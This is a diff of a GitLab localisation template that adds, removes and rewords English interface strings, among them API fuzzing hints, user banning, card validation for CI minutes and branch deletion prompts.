msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
